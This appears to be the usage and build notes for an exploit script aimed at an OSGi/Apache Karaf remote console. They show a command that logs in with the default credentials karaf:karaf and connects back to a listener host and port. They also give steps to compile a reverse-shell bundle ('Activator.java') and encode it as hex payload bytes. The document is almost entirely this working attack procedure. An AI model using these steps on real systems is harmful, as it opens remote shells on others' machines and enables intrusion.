python exploit.py --help
python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 --lport=4444 --creds=karaf:karaf
- Create the lib directory
mkdir -p ./revshell/lib
- Download Felix Framework 7.0.5
- Extract the zip archive
- Copy the
org.apache.felix.main.distribution-7.0.5/bin/felix.jar
to./revshell/lib/felix.jar
cd revshell/bundle
javac -d ../classes -cp ../lib/felix.jar com/visionspace/osgi/revshell/Activator.java
Hex values make up the reverse shell in the exploit
./class_to_payload.py revshell/classes/com/visionspace/osgi/revshell/Activator.class